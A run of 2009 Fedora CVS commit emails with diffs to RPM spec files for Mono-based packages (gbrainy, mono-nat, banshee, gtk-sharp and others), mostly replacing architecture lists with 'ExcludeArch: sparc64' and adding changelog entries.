Date: Mon, 26 Oct 2009 21:06:24 +0000 (UTC)
Subject: rpms/gbrainy/devel gbrainy.spec,1.16,1.17
Message-ID: <20091026210624.2DA9F11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gbrainy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30671

Modified Files:
	gbrainy.spec 
Log Message:
exclude sparc64



Index: gbrainy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbrainy/devel/gbrainy.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- gbrainy.spec	20 Aug 2009 20:16:50 -0000	1.16
+++ gbrainy.spec	26 Oct 2009 21:06:23 -0000	1.17
@@ -4,7 +4,7 @@
 
 Name:		gbrainy
 Version:	1.1
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	A brain teaser game and trainer to keep your brain trained
 
 Group:		Amusements/Games
@@ -17,8 +17,8 @@ BuildRequires:	mono-devel intltool librs
 BuildRequires:	gtk-sharp2-devel gnome-sharp-devel
 BuildRequires:  /usr/bin/desktop-file-install
 
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha s390 s390x ppc ppc64
+# Mono not availible on these:
+ExcludeArch: sparc64
 
 %description
 gbrainy is a brain teaser game and trainer to have
@@ -83,6 +83,9 @@ fi
 %{_datadir}/pixmaps/%{name}*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.1-6
+- Exclude sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 1.1-5
 - Build with ppc64 again due to obsolecense of previous update.
 



From ausil at fedoraproject.org  Mon Oct 26 21:08:52 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:08:52 +0000 (UTC)
Subject: rpms/mono-nat/F-12 mono-nat.spec,1.6,1.7
Message-ID: <20091026210852.3A88411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-nat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31056

Modified Files:
	mono-nat.spec 
Log Message:
ExcludeArch sparc64



Index: mono-nat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-nat/F-12/mono-nat.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- mono-nat.spec	25 Jul 2009 15:00:49 -0000	1.6
+++ mono-nat.spec	26 Oct 2009 21:08:51 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:		mono-nat
 Version:	1.0.2
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	.NET library for automatic port forwarding
 Group:		Development/Libraries
 License:	MIT
@@ -11,7 +11,7 @@ Source0:	http://projects.qnetp.net/attac
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	mono-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description 
 Mono.Nat is a .NET library used for automatic port forwarding,
@@ -54,6 +54,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/mono.nat.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.2-3
+- ExcludeArch sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:09:54 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:09:54 +0000 (UTC)
Subject: rpms/mono-nat/devel mono-nat.spec,1.6,1.7
Message-ID: <20091026210954.1EF5F11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-nat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31792

Modified Files:
	mono-nat.spec 
Log Message:
exclude sparc64



Index: mono-nat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-nat/devel/mono-nat.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- mono-nat.spec	25 Jul 2009 15:00:49 -0000	1.6
+++ mono-nat.spec	26 Oct 2009 21:09:53 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:		mono-nat
 Version:	1.0.2
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	.NET library for automatic port forwarding
 Group:		Development/Libraries
 License:	MIT
@@ -11,7 +11,7 @@ Source0:	http://projects.qnetp.net/attac
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	mono-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description 
 Mono.Nat is a .NET library used for automatic port forwarding,
@@ -54,6 +54,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/mono.nat.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.2-3
+- ExcludeArch sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:12:52 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:12:52 +0000 (UTC)
Subject: rpms/gtksourceview-sharp/F-12 gtksourceview-sharp.spec,1.27,1.28
Message-ID: <20091026211252.2BC5511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtksourceview-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv942

Modified Files:
	gtksourceview-sharp.spec 
Log Message:
build sparcv9



Index: gtksourceview-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtksourceview-sharp/F-12/gtksourceview-sharp.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- gtksourceview-sharp.spec	25 Jul 2009 01:47:32 -0000	1.27
+++ gtksourceview-sharp.spec	26 Oct 2009 21:12:51 -0000	1.28
@@ -4,7 +4,7 @@
 Summary: A C sharp binder for gtksourceview
 Name: gtksourceview-sharp
 Version: 2.0.12
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source0: http://ftp.novell.com/pub/mono/sources-stable/%{name}-%{extra}.tar.bz2
@@ -15,7 +15,7 @@ Buildroot: %{_tmppath}/%{name}-%{version
 BuildRequires: mono-data, mono-devel, gtk-sharp2-devel, gtksourceview-devel, gtk-sharp2-gapi, gecko-sharp2, pkgconfig, monodoc-devel
 BuildRequires: gtk-sharp2-devel gnome-sharp-devel gnome-desktop-sharp-devel autoconf libtool automake
 Requires: gtksourceview
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha
 
 %description
 gtksourceview-sharp is a C sharp binder for gtksourceview
@@ -61,6 +61,9 @@ rm -f %{buildroot}%{_datadir}/gtksourcev
 %{__rm} -rf %{buildroot}
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.0.12-10
+- switch sparc to sparcv9 for arches
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.12-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:14:02 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:14:02 +0000 (UTC)
Subject: rpms/gtksourceview-sharp/devel gtksourceview-sharp.spec,1.27,1.28
Message-ID: <20091026211402.0D07B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtksourceview-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1203

Modified Files:
	gtksourceview-sharp.spec 
Log Message:
build sparcv9



Index: gtksourceview-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtksourceview-sharp/devel/gtksourceview-sharp.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- gtksourceview-sharp.spec	25 Jul 2009 01:47:32 -0000	1.27
+++ gtksourceview-sharp.spec	26 Oct 2009 21:14:01 -0000	1.28
@@ -4,7 +4,7 @@
 Summary: A C sharp binder for gtksourceview
 Name: gtksourceview-sharp
 Version: 2.0.12
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source0: http://ftp.novell.com/pub/mono/sources-stable/%{name}-%{extra}.tar.bz2
@@ -15,7 +15,7 @@ Buildroot: %{_tmppath}/%{name}-%{version
 BuildRequires: mono-data, mono-devel, gtk-sharp2-devel, gtksourceview-devel, gtk-sharp2-gapi, gecko-sharp2, pkgconfig, monodoc-devel
 BuildRequires: gtk-sharp2-devel gnome-sharp-devel gnome-desktop-sharp-devel autoconf libtool automake
 Requires: gtksourceview
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha
 
 %description
 gtksourceview-sharp is a C sharp binder for gtksourceview
@@ -61,6 +61,9 @@ rm -f %{buildroot}%{_datadir}/gtksourcev
 %{__rm} -rf %{buildroot}
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.0.12-10
+- switch sparc to sparcv9 for arches
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.12-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:17:09 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:17:09 +0000 (UTC)
Subject: rpms/podsleuth/F-12 podsleuth.spec,1.11,1.12
Message-ID: <20091026211709.3F44C11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/podsleuth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1937

Modified Files:
	podsleuth.spec 
Log Message:
 Exclude sparc64



Index: podsleuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/F-12/podsleuth.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- podsleuth.spec	26 Aug 2009 19:41:59 -0000	1.11
+++ podsleuth.spec	26 Oct 2009 21:17:08 -0000	1.12
@@ -2,7 +2,7 @@
 
 Name:		podsleuth
 Version:	0.6.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Probes, identifies, and exposes properties and metadata bound to iPods
 Group:		Applications/Multimedia
 License:	MIT
@@ -18,10 +18,10 @@ BuildRequires:	ndesk-dbus-devel
 BuildRequires:	sg3_utils-devel
 Requires:	sg3_utils-libs
 
-# JIT only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# JIT Not availible on these:
+ExcludeArch: sparc64
 # Disabled due to strange build failure:
-# s390 s390x
+ExcludeArch: s390 s390x
 
 %description
 PodSleuth is a tool to discover detailed model information about an
@@ -78,6 +78,9 @@ make install DESTDIR=%{buildroot}
 %{_libdir}/pkgconfig/podsleuth.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.4-2
+- ExcludeArch sparc64
+
 * Wed Aug 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.4-1
 - update to 0.6.4 (BZ 501404)
 - remove upstreamed patch



From ausil at fedoraproject.org  Mon Oct 26 21:18:32 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:18:32 +0000 (UTC)
Subject: rpms/podsleuth/devel podsleuth.spec,1.12,1.13
Message-ID: <20091026211832.C525A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/podsleuth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2140

Modified Files:
	podsleuth.spec 
Log Message:
iexclude sparc64



Index: podsleuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/devel/podsleuth.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- podsleuth.spec	25 Oct 2009 23:32:28 -0000	1.12
+++ podsleuth.spec	26 Oct 2009 21:18:32 -0000	1.13
@@ -1,13 +1,14 @@
 %define		debug_package %{nil}
 
 Name:		podsleuth
-Version:	0.6.5
-Release:	1%{?dist}
+Version:	0.6.4
+Release:	2%{?dist}
 Summary:	Probes, identifies, and exposes properties and metadata bound to iPods
 Group:		Applications/Multimedia
 License:	MIT
-URL:		http://banshee-project.org/
-Source0:	http://banshee-project.org/files/%{name}/%{version}/%{name}-%{version}.tar.bz2
+URL:		http://banshee-project.org/PodSleuth
+Source0:	http://banshee-project.org/files/%{name}/%{name}-%{version}.tar.bz2
+Patch0:		podsleuth-0.6.4-sg3_utils.patch
 Patch1:		podsleuth-0.6.2-libdir.patch
 Patch2:		podsleuth-0.6.0-wapidir.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -17,10 +18,10 @@ BuildRequires:	ndesk-dbus-devel
 BuildRequires:	sg3_utils-devel
 Requires:	sg3_utils-libs
 
-# JIT only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# JIT Not availible on these:
+ExcludeArch: sparc64
 # Disabled due to strange build failure:
-# s390 s390x
+ExcludeArch: s390 s390x
 
 %description
 PodSleuth is a tool to discover detailed model information about an
@@ -42,6 +43,9 @@ Development files for podsleuth.
 
 %prep
 %setup -q
+%if 0%{?fedora} >= 10
+%patch0 -p1 -b .sg3_utils
+%endif
 %patch1 -p1 -b .libdir
 %patch2 -p1 -b .wapidir
 
@@ -74,10 +78,8 @@ make install DESTDIR=%{buildroot}
 %{_libdir}/pkgconfig/podsleuth.pc
 
 %changelog
-* Sun Oct 25 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-1
-- Update to 0.6.5
-- Remove unneeded sg3_utils patch (upstream supports now
-  libsgutils2)
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.4-2
+- ExcludeArch sparc64
 
 * Wed Aug 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.4-1
 - update to 0.6.4 (BZ 501404)



From ausil at fedoraproject.org  Mon Oct 26 21:20:51 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:20:51 +0000 (UTC)
Subject: rpms/mod_mono/F-12 mod_mono.spec,1.26,1.27
Message-ID: <20091026212051.3DA6011C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mod_mono/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3799

Modified Files:
	mod_mono.spec 
Log Message:
ExcludeArch sparc64



Index: mod_mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/F-12/mod_mono.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mod_mono.spec	25 Jul 2009 14:46:43 -0000	1.26
+++ mod_mono.spec	26 Oct 2009 21:20:50 -0000	1.27
@@ -1,6 +1,6 @@
 Name: mod_mono
 Version: 2.4.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://mono.ximian.com/monobuild/preview/sources-preview/
@@ -11,7 +11,7 @@ Requires: httpd >= 2.2, mono-core, xsp
 Summary: A module to deploy an ASP.NET application on Apache with Mono
 Group: System Environment/Daemons
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 
@@ -53,6 +53,8 @@ rm -rf %{buildroot}
 %{_mandir}/man8/mod_mono.8*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-3
+- excludeArch sparc64
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:21:53 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:21:53 +0000 (UTC)
Subject: rpms/mod_mono/devel mod_mono.spec,1.27,1.28
Message-ID: <20091026212153.B4BEB11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mod_mono/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4386

Modified Files:
	mod_mono.spec 
Log Message:
exclude sparc64



Index: mod_mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/devel/mod_mono.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- mod_mono.spec	4 Oct 2009 15:18:32 -0000	1.27
+++ mod_mono.spec	26 Oct 2009 21:21:53 -0000	1.28
@@ -1,17 +1,17 @@
 Name: mod_mono
-Version: 2.6
-Release: 1%{?dist}
+Version: 2.4.2
+Release: 3%{?dist}
 License: MIT
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://mono.ximian.com/monobuild/preview/sources-preview/
 Source0: %{name}-%{version}.tar.bz2
-BuildRequires: mono-devel >= 2.6, xsp-devel >= 2.6, pkgconfig, httpd-devel apr-devel
-Patch0: mod_mono-2.6-varrun.patch
+BuildRequires: mono-devel >= 2.4.2, xsp-devel >= 2.4.2, pkgconfig, httpd-devel apr-devel
+Patch0: mod_mono-2.0-varrun.patch
 Requires: httpd >= 2.2, mono-core, xsp
 Summary: A module to deploy an ASP.NET application on Apache with Mono
 Group: System Environment/Daemons
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 
@@ -53,8 +53,10 @@ rm -rf %{buildroot}
 %{_mandir}/man8/mod_mono.8*
 
 %changelog
-* Sat Oct 03 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
-- Bump to 2.6 preview 1
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-3
+- excludeArch sparc64
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Tue Jun 09 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-1
 - Bump to 2.4.2 preview



From ausil at fedoraproject.org  Mon Oct 26 21:27:53 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:27:53 +0000 (UTC)
Subject: rpms/gtk-sharp/F-12 gtk-sharp.spec,1.15,1.16
Message-ID: <20091026212753.59D8C11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtk-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6450

Modified Files:
	gtk-sharp.spec 
Log Message:
ExcludeArch sparc64



Index: gtk-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-sharp/F-12/gtk-sharp.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- gtk-sharp.spec	20 Aug 2009 23:37:54 -0000	1.15
+++ gtk-sharp.spec	26 Oct 2009 21:27:53 -0000	1.16
@@ -3,7 +3,7 @@
 
 Name: gtk-sharp
 Version: 1.0.10
-Release: 24%{?dist}
+Release: 25%{?dist}
 Summary: GTK+ and GNOME bindings for Mono
 Group: System Environment/Libraries
 License: LGPLv2
@@ -16,7 +16,7 @@ BuildRequires: libtool autoconf automake
 BuildRequires:  mono-devel libxml2-devel libgnomeui-devel libgnomeprintui22-devel
 BuildRequires:  librsvg2-devel gtkhtml3-devel
 BuildRequires:  gnome-desktop-sharp-devel
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 This package provides a library that allows you to build
@@ -108,6 +108,9 @@ rm -rf %{buildroot}
 %{monodir}/pkgconfig/gapi.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.10-25
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 1.0.10-24
 - Rebuild for ppc64 since the previous build was obsoleted
 



From ausil at fedoraproject.org  Mon Oct 26 21:28:41 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:28:41 +0000 (UTC)
Subject: rpms/gtk-sharp/devel gtk-sharp.spec,1.15,1.16
Message-ID: <20091026212841.6612D11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtk-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7031

Modified Files:
	gtk-sharp.spec 
Log Message:
Exclude sparc64



Index: gtk-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-sharp/devel/gtk-sharp.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- gtk-sharp.spec	20 Aug 2009 23:37:54 -0000	1.15
+++ gtk-sharp.spec	26 Oct 2009 21:28:41 -0000	1.16
@@ -3,7 +3,7 @@
 
 Name: gtk-sharp
 Version: 1.0.10
-Release: 24%{?dist}
+Release: 25%{?dist}
 Summary: GTK+ and GNOME bindings for Mono
 Group: System Environment/Libraries
 License: LGPLv2
@@ -16,7 +16,7 @@ BuildRequires: libtool autoconf automake
 BuildRequires:  mono-devel libxml2-devel libgnomeui-devel libgnomeprintui22-devel
 BuildRequires:  librsvg2-devel gtkhtml3-devel
 BuildRequires:  gnome-desktop-sharp-devel
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 This package provides a library that allows you to build
@@ -108,6 +108,9 @@ rm -rf %{buildroot}
 %{monodir}/pkgconfig/gapi.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.10-25
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 1.0.10-24
 - Rebuild for ppc64 since the previous build was obsoleted
 



From ausil at fedoraproject.org  Mon Oct 26 21:36:57 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:36:57 +0000 (UTC)
Subject: rpms/banshee/F-12 banshee.spec,1.82,1.83
Message-ID: <20091026213657.43E3D11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9632

Modified Files:
	banshee.spec 
Log Message:
exclude sparc64




Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/banshee.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- banshee.spec	19 Oct 2009 15:58:53 -0000	1.82
+++ banshee.spec	26 Oct 2009 21:36:57 -0000	1.83
@@ -13,8 +13,8 @@ Source0: http://download.banshee-project
 Source1: README.Fedora
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+# We dont have mono on these arches:
+ExcludeArch: sparc64
 
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
@@ -202,6 +202,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.5.1-2
+- ExcludeArch sparc64
+
 * Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
 - Update to final 1.5.1 release
 



From ausil at fedoraproject.org  Mon Oct 26 21:37:18 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:37:18 +0000 (UTC)
Subject: rpms/banshee/devel banshee.spec,1.83,1.84
Message-ID: <20091026213718.D389211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9750

Modified Files:
	banshee.spec 
Log Message:
exclude sparc64



Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/banshee.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- banshee.spec	23 Oct 2009 00:14:26 -0000	1.83
+++ banshee.spec	26 Oct 2009 21:37:18 -0000	1.84
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 2%{?dist}
+Release: 1%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
@@ -13,15 +13,13 @@ Source0: http://download.banshee-project
 Source1: README.Fedora
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+# We dont have mono on these arches:
+ExcludeArch: sparc64
 
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
 BuildRequires: mono-devel
-# see bz #526132 -- this is our first package that disables mDNSresponder
-# which does not work due to glibc dlsym bug
-BuildRequires: mono-zeroconf-devel >= 0.9.0-2
+BuildRequires: mono-zeroconf-devel >= 0.7.2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
 BuildRequires: gstreamer-devel >= 0.10
@@ -204,8 +202,8 @@ fi
 
 
 %changelog
-* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1%{?patchver}-2
-- Rebuild against new mono-zeroconf (bz #526132)
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.5.1-2
+- ExcludeArch sparc64
 
 * Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
 - Update to final 1.5.1 release



From ausil at fedoraproject.org  Mon Oct 26 21:40:32 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:40:32 +0000 (UTC)
Subject: rpms/mono-addins/F-12 mono-addins.spec,1.19,1.20
Message-ID: <20091026214032.E23CB11C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-addins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11063

Modified Files:
	mono-addins.spec 
Log Message:
exclude sparc64



Index: mono-addins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-addins/F-12/mono-addins.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mono-addins.spec	25 Jul 2009 14:59:32 -0000	1.19
+++ mono-addins.spec	26 Oct 2009 21:40:32 -0000	1.20
@@ -3,7 +3,7 @@
 
 Name:		mono-addins
 Version:	0.4
-Release:	8.20091702svn%{svnver}.1%{?dist}
+Release:	9.20091702svn%{svnver}%{?dist}
 Summary:	Addins for mono
 Group:		Development/Languages
 License:	MIT
@@ -13,6 +13,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 
 BuildRequires:	mono-devel >= 2.4, gtk-sharp2-devel, autoconf, automake
 BuildRequires:	pkgconfig
+ExcludeArch:    sparc64
 
 %description
 Mono.Addins is a generic framework for creating extensible applications,
@@ -68,6 +69,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/mono-addins*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4-9.20091702svn127062
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4-8.20091702svn127062.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 21:41:27 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:41:27 +0000 (UTC)
Subject: rpms/mono-addins/devel mono-addins.spec,1.19,1.20
Message-ID: <20091026214127.226AC11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-addins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11263

Modified Files:
	mono-addins.spec 
Log Message:
 exclude sparc64



Index: mono-addins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-addins/devel/mono-addins.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mono-addins.spec	25 Jul 2009 14:59:32 -0000	1.19
+++ mono-addins.spec	26 Oct 2009 21:41:27 -0000	1.20
@@ -3,7 +3,7 @@
 
 Name:		mono-addins
 Version:	0.4
-Release:	8.20091702svn%{svnver}.1%{?dist}
